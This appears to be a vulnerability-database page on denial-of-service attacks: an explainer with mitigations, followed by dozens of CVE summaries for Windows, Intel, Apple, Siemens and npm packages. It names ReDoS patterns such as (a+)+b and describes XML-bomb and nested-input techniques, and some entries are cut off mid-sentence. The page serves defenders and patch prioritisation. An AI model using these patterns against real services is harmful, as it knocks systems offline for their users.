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Denial of Service

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Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

How It Works

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions. Attackers exploit asymmetry: minimal attacker effort produces disproportionate resource consumption on the target. Application-level attacks use specially crafted inputs that trigger expensive operations—a regex engine processing malicious patterns can backtrack exponentially, or XML parsers recursively expand entities until memory exhausts. Network-level attacks flood targets with connection requests or amplify traffic through reflection, but application vulnerabilities often provide the most efficient attack surface.

The attack typically begins with reconnaissance to identify resource-intensive operations or unprotected endpoints. For algorithmic complexity attacks, adversaries craft inputs hitting worst-case performance—hash collision inputs filling hash tables with collisions, deeply nested JSON triggering recursive parsing, or pathological regex patterns like (a+)+b against strings of repeated 'a' characters. Resource exhaustion attacks open thousands of connections, upload massive files to unbounded storage, or trigger memory leaks through repeated operations. Crash-based attacks target error handling gaps: null pointer dereferences, unhandled exceptions in parsers, or assertion failures that terminate processes.

Impact

  • Service unavailability preventing legitimate users from accessing applications during attack duration
  • Revenue loss from downtime in e-commerce, SaaS platforms, or transaction processing systems
  • Cascading failures as resource exhaustion spreads to dependent services or database connections pool out
  • SLA violations triggering financial penalties and damaging customer trust
  • Security team distraction providing cover for data exfiltration or intrusion attempts running concurrently

Real-World Examples

CVE-2018-1000544 in Ruby's WEBrick server allowed ReDoS through malicious HTTP headers containing specially crafted patterns that caused the regex engine to backtrack exponentially, freezing request processing threads. A single attacker could saturate all available workers.

Cloudflare experienced a global outage in 2019 when a single WAF rule containing an unoptimized regex hit pathological cases on legitimate traffic spikes. The .*(?:.*=.*)* pattern exhibited catastrophic backtracking, consuming CPU cycles across their edge network until the rule was disabled.

CVE-2013-1664 demonstrated XML bomb vulnerabilities in Python's XML libraries. Attackers uploaded XML documents with nested entity definitions-each entity expanding to ten copies of the previous level. A 1KB upload could expand to gigabytes in memory during parsing, crashing applications instantly.

Mitigation

  • Strict input validation enforcing size limits, complexity bounds, and nesting depth restrictions before processing
  • Request rate limiting per IP address, API key, or user session with exponential backoff
  • Timeout enforcement terminating operations exceeding reasonable execution windows (typically 1-5 seconds)
  • Resource quotas limiting memory allocation, CPU time, and connection counts per request or tenant
  • Regex complexity analysis using linear-time algorithms or sanitizing patterns to eliminate backtracking
  • Circuit breakers automatically rejecting requests when error rates or latency thresholds indicate degradation
  • Load balancing and autoscaling distributing traffic across instances with automatic capacity expansion

Recent CVEs (6701)

EPSS 0% CVSS 7.4
HIGH PATCH Exploit Unlikely This Week

Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over an adjacent network.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 9.3
CRITICAL PATCH Act Now

Use after free in Windows Hyper-V allows an unauthorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.1
HIGH PATCH This Week

Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service locally.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Telephony Service allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 8.4
HIGH PATCH Exploit Likely This Week

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH Exploit Unlikely This Week

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 8.4
HIGH PATCH Exploit Unlikely This Week

Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.0
HIGH PATCH Exploit Unlikely This Week

Use after free in Windows Projected File System allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 5.5
MEDIUM PATCH Exploit Unlikely This Month

Null pointer dereference in Windows LDAP - Lightweight Directory Access Protocol allows an authorized attacker to deny service locally.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Telephony Service allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 8.0
HIGH PATCH This Week

Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.5
HIGH POC PATCH This Week

Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.

Denial Of Service
NVD VulDB GitHub
EPSS 0% CVSS 7.0
HIGH PATCH This Week

Use after free in Windows Telephony Service allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 8.1
HIGH PATCH This Week

Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.4
HIGH PATCH This Week

Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over an adjacent network.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 7.0
HIGH PATCH This Week

Use after free in Windows SMB Client allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.5
HIGH PATCH Exploit Unlikely This Week

Use after free in Windows TCP/IP allows an unauthorized attacker to disclose information over a network.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over a network.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 8.4
HIGH PATCH This Week

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.0
HIGH PATCH This Week

Local privilege escalation in the Windows Ancillary Function Driver for WinSock (AFD.sys) allows low-privileged authenticated users to execute arbitrary code with SYSTEM privileges via use-after-free memory corruption. Microsoft has released patches addressing Windows 10 (versions 1607 through 22H2), Windows 11 (versions 22H3 through 26H1), and Windows Server 2012. CVSS base score is 7.0 (High) with local attack vector and high attack complexity. EPSS data not available; no CISA KEV listing at time of analysis, suggesting exploitation has not been observed in the wild despite public disclosure.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Null pointer dereference in Windows Storport Miniport Driver allows remote attackers to trigger denial of service over a network with user interaction. The vulnerability affects Windows Server 2025 and exists in the storage port driver architecture, requiring the attacker to send a specially crafted network request that causes the driver to dereference a null pointer, resulting in service interruption or system instability. No public exploit code or active exploitation has been confirmed.

Denial Of Service Null Pointer Dereference Microsoft
NVD VulDB
EPSS 0% CVSS 7.0
HIGH PATCH This Week

Local privilege escalation in Windows Win32K graphics subsystem (Win32K - GRFX) allows authenticated users with low privileges to achieve SYSTEM-level access through a use-after-free memory corruption vulnerability. Affects multiple Windows 10, Windows 11, and Windows Server 2012 versions. Microsoft has released patches through their March 2026 security updates. The CVSS 7.0 (High) rating reflects high attack complexity (AC:H), requiring specific race condition timing or system state manipulation, though EPSS data is not yet available for this recently disclosed CVE.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Local privilege escalation in Windows Win32K graphics subsystem affects Windows 10 (1607 through 22H2), Windows 11 (all versions including 26H1 preview), and Windows Server 2012 through authenticated low-privileged local users exploiting a use-after-free memory corruption flaw. Microsoft has released security updates addressing this CWE-416 vulnerability with CVSS 7.8 severity. The local attack vector and low complexity (AC:L) indicate straightforward exploitation once local access is achieved, though no public exploit code or active exploitation (CISA KEV) has been identified at time of analysis.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.8
HIGH PATCH This Week

Privilege escalation in Windows Win32K ICOMP component affects Windows 11 (24H2, 25H2, 26H1) and Windows Server 2025 via a use-after-free memory corruption flaw. Low-privileged authenticated local attackers can exploit this to gain SYSTEM-level privileges with low attack complexity and no user interaction required. Microsoft has released patches addressing this vulnerability, tracked under MSRC guidance. No active exploitation or public exploit code has been identified at time of analysis, with EPSS data not yet available for this recent CVE.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

Denial-of-service attacks against Fortinet FortiAnalyzer and FortiManager 6.4 through 7.6.4 allow authenticated attackers to trigger system hangs via specially crafted HTTP requests that exploit a use of potentially dangerous function vulnerability (CWE-676). The crash occurs only when internal lock alignment conditions are met, making exploitation dependent on timing and system state rather than attacker control. CVSS 5.2 reflects medium severity with high attack complexity and low availability impact; active exploitation is not confirmed.

Denial Of Service Fortinet
NVD VulDB
EPSS 0% CVSS 6.8
MEDIUM This Month

Improper buffer restrictions for some Display Virtualization for Windows OS driver software within Ring 2: Device Drivers may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Buffer Overflow Denial Of Service Microsoft
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

Use after free for some Linux kernel driver for the Intel(R) Ethernet 800 series before version 2.3.14 within Ring 0: Kernel may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (high) impacts.

Denial Of Service Linux Use After Free +2
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

Null pointer dereference for some Intel(R) QAT software drivers for Windows before version 2.6.0 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Null Pointer Dereference Microsoft +1
NVD VulDB
EPSS 0% CVSS 6.9
MEDIUM This Month

Improper input validation for some Intel(R) QAT software drivers for Windows before version 2.6 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Microsoft Intel
NVD VulDB
EPSS 0% CVSS 8.8
HIGH This Week

Improper access control for some Intel Vision software for all versions within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an unauthenticated user combined with a low complexity attack may enable remote code execution. This result may potentially occur via network access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (high), integrity (low) and availability (low) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Authentication Bypass RCE Denial Of Service +1
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

Divide by zero for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Microsoft Intel
NVD VulDB
EPSS 0% CVSS 8.3
HIGH This Week

Out-of-bounds write for the Intel(R) Data Center Graphics Driver for VMware ESXi software before version 2.0.2 within Ring 1: Device Drivers may allow a denial of service. System software adversary with a privileged user combined with a low complexity attack may enable data corruption. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (high) and availability (high) impacts.

Buffer Overflow Denial Of Service Memory Corruption +2
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Unchecked return value for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (low) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Microsoft Intel
NVD VulDB
EPSS 0% CVSS 6.9
MEDIUM This Month

Buffer overflow for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Buffer Overflow Denial Of Service Microsoft +1
NVD VulDB
EPSS 0% CVSS 6.9
MEDIUM This Month

Null pointer dereference for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Null Pointer Dereference Microsoft +1
NVD VulDB
EPSS 0% CVSS 6.9
MEDIUM This Month

Improper conditions check in some firmware for some Intel(R) NPU Drivers within Ring 1: Device Drivers may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Intel
NVD
EPSS 0% CVSS 8.3
HIGH This Week

Out-of-bounds read for the Intel(R) Data Center Graphics Driver for VMware ESXi software before version 2.0.2 within Ring 1: Device Drivers may allow a denial of service. System software adversary with a privileged user combined with a low complexity attack may enable data exposure. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (high), integrity (none) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (high), integrity (none) and availability (high) impacts.

Buffer Overflow Denial Of Service Information Disclosure +2
NVD
EPSS 0% CVSS 6.9
MEDIUM This Month

Improper input validation for some Intel(R) QAT software drivers for Windows before version 1.13 within Ring 3: User Applications may allow a denial of service. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (low) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Denial Of Service Microsoft Intel
NVD VulDB
CVSS 6.5
MEDIUM PATCH This Month

OpenClaude MCP's OAuth callback handler in Node.js can be shut down via CSRF attack by sending a request with any `error` query parameter, bypassing state validation entirely without knowledge of the CSRF token. The vulnerability allows unauthenticated remote attackers to terminate a user's active authentication session and force server shutdown due to a logic flaw where the `error` parameter check precedes and disables the state validation check. Vendor-released patch version 0.5.1 available.

Denial Of Service CSRF Node.js
NVD GitHub
EPSS 0% CVSS 10.0
CRITICAL PATCH Act Now

Unauthenticated remote code execution in Dalfox REST API server mode (versions ≤2.12.0) allows network attackers to execute arbitrary OS commands by injecting shell payloads via the `found-action` parameter in POST /scan requests. The server binds to 0.0.0.0:6664 by default with no API key enforcement unless explicitly configured, and deserializes attacker-controlled JSON directly into execution-control options without sanitization. Attackers trivially guarantee exploitation by hosting a reflective XSS endpoint to trigger the injected command. Fixed in version 2.13.0. CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). EPSS data not available; no CISA KEV listing at time of analysis. Public exploit code exists (detailed proof-of-concept published in GitHub advisory GHSA-v25v-m36w-jp4h).

XSS Authentication Bypass RCE +3
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Denial of service in protobufjs allows remote attackers to crash runtime code generation by providing crafted protobuf schemas or JSON descriptors containing unescaped control characters in field names. When affected message types perform encode, decode, verify, or conversion operations, the generated JavaScript code fails to compile, rendering those types unusable. This affects applications that load untrusted schemas; those using only application-defined schemas are not impacted. No code execution is known to occur.

RCE Denial Of Service
NVD GitHub
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Prototype pollution in protobufjs allows denial of service through corrupted JavaScript built-ins when parsing untrusted schemas. Attackers who control protobuf schemas or JSON descriptors can write to inherited object properties on global constructors, causing process-wide state corruption that persists until restart. CVSS 7.5 (High) with network vector and no authentication required, but real-world risk is limited to applications parsing schemas from untrusted sources-applications only decoding untrusted message payloads with trusted schemas are not affected. Vendor-released patches available: v7.5.6 and v8.0.2. No active exploitation confirmed (not in CISA KEV), and no public exploit code identified at time of analysis.

RCE Denial Of Service Prototype Pollution
NVD GitHub
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Remote denial of service in protobuf.js (npm package) allows unauthenticated attackers to crash Node.js processes by sending crafted protobuf payloads with deeply nested structures. The vulnerability affects the binary decoding path where unbounded recursion exhausts the JavaScript call stack. Version 7.5.6 and 8.0.2 patches are available. Applications decoding untrusted protobuf data over network APIs, message queues, or file uploads are at immediate risk. CVSS 7.5 (High) reflects network attack vector with no authentication required.

Denial Of Service
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

OX Dovecot Pro allows authenticated attackers to cause uncontrolled memory consumption and denial of service via excessive open braces in IMAP commands, bypassing the incomplete fix from CVE-2026-27857 which only blocked closing braces. An attacker with valid IMAP credentials can exhaust server memory up to the configured vsz_limit, crashing the IMAP process and disrupting mail service.

Denial Of Service Suse
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

OX Dovecot Pro allows authenticated users to upload malicious Sieve scripts via ManageSieve protocol or local access that bypass configured CPU time limits by up to 130 times, enabling denial of service through server performance degradation. The vulnerability requires low-privilege authenticated access and medium attack complexity, affecting availability without compromising confidentiality or integrity. No public exploit code has been identified at the time of analysis.

Denial Of Service Red Hat Suse
NVD VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Denial of service crashes multiparty Node.js parser versions ≤4.2.3 when processing malformed percent-encoded filename* parameters in multipart/form-data uploads. Attackers can remotely crash any Node.js service using vulnerable multiparty versions by sending a single crafted HTTP request with no authentication required (CVSS:3.1 AV:N/AC:L/PR:N/UI:N). No public exploit identified at time of analysis, but exploitation is trivial given the straightforward attack vector. Vendor-released patch: multiparty@4.3.0.

Denial Of Service
NVD GitHub VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Denial of service in multiparty (Node.js multipart/form-data parser) versions ≤4.2.3 crashes Node.js processes when attackers send crafted form uploads with field names matching JavaScript Object prototype properties (__proto__, constructor, toString). CVSS 7.5 (High) with network vector and no authentication required. No public exploit code identified at time of analysis, but exploitation is trivial given the straightforward prototype pollution attack pattern. Services accepting file uploads via multiparty are immediately affected until upgraded to 4.3.0+.

Denial Of Service
NVD GitHub
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Regular expression denial of service in multiparty (npm package) versions 4.2.3 and below allows remote unauthenticated attackers to block the Node.js event loop for seconds via crafted Content-Disposition headers in multipart uploads. The vulnerability triggers catastrophic backtracking in the filename parameter parser with headers as small as 8 KB. Fixed in multiparty 4.3.0. EPSS data not available; no active exploitation confirmed at time of analysis, but the low complexity (AV:N/AC:L/PR:N/UI:N) and availability of detailed public advisory increase weaponization risk for any web service accepting file uploads through this library.

Denial Of Service
NVD GitHub VulDB
EPSS 0% CVSS 8.7
HIGH This Week

Siemens SIMATIC CN 4100 versions prior to V5.0 can be rendered unavailable through TCP SYN flood attacks, allowing remote unauthenticated attackers to exhaust system resources and cause complete service disruption. The CVSS 4.0 score of 8.7 reflects the high availability impact (VA:H) combined with network-accessible attack vector requiring no privileges or user interaction. No active exploitation (CISA KEV) or public exploit code has been identified at time of analysis, though SYN flood techniques are well-documented and trivial to execute.

Denial Of Service
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Remote unauthenticated attackers can exhaust resources and bypass authentication controls in Siemens SIMATIC CN 4100 versions before V5.0, enabling denial of service conditions and unauthorized actions that compromise system availability and integrity. The vulnerability stems from improper connection validation (CWE-306), allowing network-based exploitation without any user interaction or privileges. Siemens has released V5.0 to address this flaw, documented in security advisory SSA-032379.

Authentication Bypass Denial Of Service
NVD
EPSS 0% CVSS 8.7
HIGH This Week

Denial of service in Siemens industrial networking equipment allows remote unauthenticated attackers to crash affected devices via specially crafted IPv4 packets, requiring manual restart for recovery. This vulnerability affects over 200 Siemens industrial automation products including SCALANCE switches/routers, SIMATIC PLCs, SINAMICS drives, and RUGGEDCOM devices. CVSS 4.0 score of 8.7 reflects high availability impact (VA:H) with network-accessible attack vector requiring low complexity and no privileges (AV:N/AC:L/PR:N). No public exploit code or CISA KEV listing identified at time of analysis, though the straightforward network-based attack and widespread product exposure warrant priority patching for operational technology environments where uptime is critical.

Denial Of Service Null Pointer Dereference
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

mem0 1.0.0 server exposes an unauthenticated memory deletion API endpoint (DELETE /memories) that allows remote attackers to delete arbitrary user memory records by specifying user identifiers in query parameters, resulting in unauthorized data loss and denial of service. No authentication or authorization validation is performed before processing deletion requests, enabling any network-accessible attacker to target any user's data without credentials.

Authentication Bypass Denial Of Service
NVD GitHub
EPSS 0% CVSS 9.1
CRITICAL Act Now

Unauthenticated remote attackers can completely destroy the mem0 v1.0.0 memory database by sending a DELETE request to the /memories endpoint, which executes DROP TABLE SQL statements without authentication or authorization checks. This causes irreversible data loss and total service denial for all users. EPSS score of 0.03% suggests low observed exploitation probability despite the CVSS 9.1 critical rating, likely due to mem0's limited deployment footprint. No public exploit code or active exploitation (CISA KEV) confirmed at time of analysis, but SSVC indicates the vulnerability is automatable with a single HTTP request.

Authentication Bypass Denial Of Service
NVD GitHub
EPSS 0% CVSS 9.1
CRITICAL Act Now

{index_name}/documents endpoint. The backend service fails to authenticate requests or validate the path_or_url parameter, enabling mass data destruction and denial of service. EPSS probability (0.12%) indicates low predicted exploitation likelihood, and no active exploitation or public exploit code has been identified at time of analysis, though the CVSS 9.1 reflects the severe impact of unauthenticated remote data deletion.

Denial Of Service Information Disclosure Path Traversal +1
NVD GitHub VulDB
EPSS 0% CVSS 9.1
CRITICAL Act Now

{object_name:path} API lacks authentication, authorization, and input validation (CWE-552). CVSS 9.1 reflects critical severity, though EPSS score of 0.08% (23rd percentile) and SSVC 'exploitation: none' indicate no observed active exploitation or public exploit code at time of analysis. SSVC marks this as 'automatable: yes' with 'technical impact: partial', suggesting straightforward exploitation once discovered but limited scope beyond data integrity/availability impacts.

Denial Of Service Information Disclosure Path Traversal
NVD GitHub VulDB
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

barebox version prior to 2026.04.0 contains a denial-of-service vulnerability in ext4 directory parsing in fs/ext4/ext4_common.c where the ext4fs_iterate_dir() function fails to validate that directory entry length values are non-zero. Attackers can supply a malicious ext4 filesystem image with a crafted directory entry containing a direntlen value of 0 to cause an infinite loop during directory listing or path resolution, resulting in the boot process hanging indefinitely.

Denial Of Service
NVD GitHub
EPSS 0% CVSS 7.5
HIGH PATCH This Week

A resource exhaustion issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.

Denial Of Service Apple
NVD
EPSS 0% CVSS 6.2
MEDIUM PATCH This Month

The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5. An attacker on the local network may be able to cause a denial-of-service.

Denial Of Service Apple
NVD
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Type confusion vulnerability in Apple's operating systems allows remote unauthenticated attackers to trigger denial of service across iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. Apple has released patches addressing the issue in iOS/iPadOS 18.7.9 and 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, and watchOS 26.5. The CVSS vector indicates network-accessible exploitation with low complexity and no privileges required, though EPSS score of 0.13% (32nd percentile) suggests relatively low likelihood of widespread exploitation. No public exploit identified at time of analysis, and the vulnerability is not listed in CISA KEV.

Denial Of Service Memory Corruption Apple
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

The issue was addressed with improved input validation. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

Denial Of Service Apple
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

A use-after-free vulnerability in Apple's Wi-Fi stack allows attackers in a privileged network position to cause denial-of-service via crafted Wi-Fi packets. The vulnerability affects iOS and iPadOS versions prior to 26.5 and 18.7.9, macOS versions prior to 26.5, 15.7.7, and 14.8.7, and tvOS, watchOS versions prior to 26.5. Exploitation requires adjacent network access and specific radio conditions (AC:H) but results in high availability impact with no active public exploitation identified.

Denial Of Service Use After Free Memory Corruption +1
NVD
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Remote attackers can crash Apple devices or corrupt kernel memory without authentication via a use-after-free vulnerability affecting iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. Apple has released patches across eight separate security bulletins (HT127110-127120) fixing this memory management flaw in all supported OS versions. EPSS score of 0.10% (28th percentile) suggests low exploitation probability despite the network-accessible attack vector and lack of authentication requirements. No active exploitation or public POC identified at time of analysis.

Denial Of Service Use After Free Memory Corruption +1
NVD
EPSS 0% CVSS 6.2
MEDIUM PATCH This Month

Null pointer dereference in Apple operating systems (iOS, iPadOS, macOS Tahoe, tvOS) allows local network attackers to cause denial of service by sending crafted input that bypasses validation. The vulnerability affects all versions prior to iOS 26.5, iPadOS 26.5, macOS Tahoe 26.5, and tvOS 26.5. No code execution or data compromise is possible; impact is limited to availability disruption on affected devices.

Denial Of Service Null Pointer Dereference Apple
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Denial of service in Apple macOS prior to version 26.5 allows remote attackers to crash Safari via maliciously crafted web content that triggers a use-after-free memory condition. The vulnerability requires user interaction (opening a malicious webpage) but no authentication, affecting all macOS versions before 26.5. EPSS exploitation probability is very low at 0.02%, suggesting limited real-world attack incentive despite the crash capability.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 4.9
MEDIUM PATCH This Month

Denial-of-service vulnerability in iOS and iPadOS allows network-positioned attackers with high privileges to crash or degrade service availability through insufficient input validation. Apple addressed this with patches in iOS 18.7.7, iPadOS 18.7.7, iOS 26.4, and iPadOS 26.4. EPSS score of 0.02% (5th percentile) indicates very low real-world exploitation probability despite CVSS score of 4.9.

Denial Of Service Apple
NVD
EPSS 0% CVSS 8.8
HIGH PATCH This Week

Use-after-free in WebKit allows remote attackers to trigger Safari crashes and potentially achieve arbitrary code execution across Apple's entire ecosystem (iOS, iPadOS, macOS, tvOS, visionOS, watchOS) via maliciously crafted web content. Users must visit or be tricked into visiting a malicious webpage (UI:R). Despite CVSS 8.8 (High) with theoretical code execution impact (C:H/I:H/A:H), EPSS probability is extremely low (0.02%, 5th percentile), indicating minimal observed exploitation activity. No public exploit identified at time of analysis, and vendor patches are available across all platforms as of version 26.5.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

